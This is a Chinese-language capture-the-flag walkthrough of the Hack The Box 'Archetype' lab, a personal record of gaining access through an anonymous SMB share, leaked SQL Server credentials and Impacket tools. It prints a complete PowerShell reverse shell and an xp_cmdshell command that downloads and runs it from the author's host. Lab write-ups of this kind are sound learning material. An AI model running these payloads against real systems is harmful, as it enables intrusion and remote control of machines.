Hack The Box - Archetype
攻略的话在靶场内都有,也有官方的攻略,我作为一个技术小白,只是想把自己的通关过程记录下来,没有网站内大佬们写得好。
准备工作就不过多赘述,如果有不清楚的请点这里(Hack The Box - 如何开始。)
我们获得了一个IP:
尝试访问了一下,应该不存在web页面:
对常规端口进行一个扫描:
可以看到开启了445和1433,SMB和SQL Sever的,我们可以尝试一下是否能够匿名访问:(关于smbclient的用法,可以参考这里。)
我们来查看一下backups:
看一下这个文件里有什么:
我们获得了一个账号和密码,推测可能是SQL Sever的,我们可以尝试一下:
这里我试了很多方法,也尝试看攻略,但是最终都是失败了,攻略上使用的是Impacket的mssqlclient.py,但是我在kali中使用的时候就是各种报错,很奇怪,或许是我不懂得怎么使用得原因,最终我也是使用了Impacket的mssqlclient.py,但是我是在windows上使用的,通过frp在windows和kali之间建立隧道,以达到windows能够访问靶场的目的,如果大家有其他的办法,方便的话请告诉我,我也想学习学习。
使用proxifier代理:
到这里,我们可以试试反弹shell:(将这个代码写入到一个文件内,后缀是.ps1,这里用的是powershell的反弹shell)
$client = New-Object System.Net.Sockets.TCPClient("10.10.16.45",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data= (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
这里写自己的IP,挂上VPN之后,我们会有一个,就写这个:
在存放这个文件的目录内用python开一个服务:
再开一个窗口,开一个监听:(端口设置刚才代码里写的那个)
在SQL Sever 中输入以下代码,反弹shell成功:
EXEC xp_cmdshell 'echo IEX (New-Object Net.WebClient).DownloadString("http://10.10.16.45/shell.ps1") | powershell -noprofile'
接下来就是翻找flag:(就在这里)
这里还有另一个宝贝:(是一个administrator的密码,远程连接)
远程连接直接上,因为靶机没有开3389,所以我们利用Impacket里的psexec.py:
另一个flag:
到此,就结束啦。